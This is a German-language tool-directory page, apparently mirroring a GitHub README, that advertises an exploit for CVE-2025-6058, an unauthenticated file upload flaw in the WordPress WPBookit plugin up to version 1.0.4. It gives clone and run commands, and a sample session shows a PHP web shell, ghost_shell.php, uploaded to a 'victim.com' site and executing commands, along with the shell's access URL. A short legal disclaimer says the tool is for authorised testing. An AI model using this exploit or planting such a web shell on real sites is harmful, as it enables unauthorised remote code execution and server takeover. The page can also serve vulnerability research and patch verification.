Skip to content
KitploitKITPLOIT
ToolsBlog
Log in
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-6058 — WordPress WPBookit ≤ 1.0.4 Nicht authentifizierter Datei-Upload-Exploit | Kitploit
Tools/GitHubGitHub/0xgh057r3c0n/cve-2025-6058
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsRed Teaming
GitHub0xgh057r3c0n/cve-2025-6058

CVE-2025-6058

WordPress WPBookit ≤ 1.0.4 Nicht authentifizierter Datei-Upload-Exploit

Repository anzeigen
12vor 1 JahrNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

WordPress-Logo

🚨 CVE-2025-6058 — WordPress WPBookit ≤ 1.0.4 Nicht authentifizierter Datei-Upload-Exploit

Nicht authentifizierter Exploit zum Hochladen beliebiger Dateien für das WordPress WPBookit Plugin (≤ 1.0.4)
Der Exploit ermöglicht den Remote-Shell-Upload und die vollständige Befehlsausführung.

Autor: 0xgh057r3c0n

📌 Über die Schwachstelle

CVE-2025-6058 ist eine kritische Sicherheitslücke, die das WPBookit-Plugin auf WordPress CMS betrifft. Ein nicht authentifizierter Angreifer kann einen anfälligen AJAX-Endpunkt missbrauchen, um beliebige PHP-Dateien hochzuladen, was Remote Code Execution (RCE) ermöglicht.

  • 🎯 Ziel: WordPress CMS (anfälliges WPBookit-Plugin)
  • 📦 Betroffenes Plugin: WPBookit ≤ 1.0.4
  • ⚠️ Risikostufe: Kritisch (Nicht authentifiziertes RCE)

✨ Funktionen

  • 🔍 Erkennt automatisch die WordPress-Plugin-Version via README.txt
  • 📤 Lädt eine leichte PHP-Shell hoch (ghost_shell.php)
  • 🖥️ Interaktive Shell (Parrot-ähnliche Eingabeaufforderung)
  • 🌐 Nicht authentifiziert – Kein Login erforderlich
  • 🎨 Farbige CLI-Ausgabe

🚀 Nutzungsanleitung

💻 Voraussetzungen

python3 --version
pip install requests

⚙️ Exploit-Ausführung

git clone https://github.com/0xgh057r3c0n/CVE-2025-6058.git
cd CVE-2025-6058
python3 CVE-2025-6058.py -u https://target-wordpress-site.com

🛠️ Beispiel einer Shell-Sitzung

python3 CVE-2025-6058.py -u https://victim.com

[>] Checking plugin version...
[+] Found plugin version: 1.0.4
[!] Target version is vulnerable.

[>] Uploading shell...
[+] Upload successful.
[+] Shell URL: https://victim.com/wp-content/uploads/2025/07/ghost_shell.php?cmd=whoami

[!] Interactive GhostShell Started — type 'exit' to quit.

┌─[gaurav@0xgh057r3c0n]─[/var/www/html]
└──╼ $ whoami
www-data

📂 Shell-Details

  • Dateiname: ghost_shell.php
  • Pfad: /wp-content/uploads/YYYY/MM/ghost_shell.php
  • Beispiel:
https://target-wordpress-site.com/wp-content/uploads/2025/07/ghost_shell.php?cmd=whoami

⚠️ Rechtlicher Hinweis

Dieser Exploit wurde nur für Bildungszwecke und autorisierte Penetrationstests entwickelt. Die unbefugte Nutzung gegen Systeme ohne ausdrückliche Zustimmung ist rechtswidrig.

📄 Lizenz

Veröffentlicht unter der MIT-Lizenz

Erstellt für WordPress-Sicherheitsaudits 🛡️ von 0xgh057r3c0n

Tool herunterladen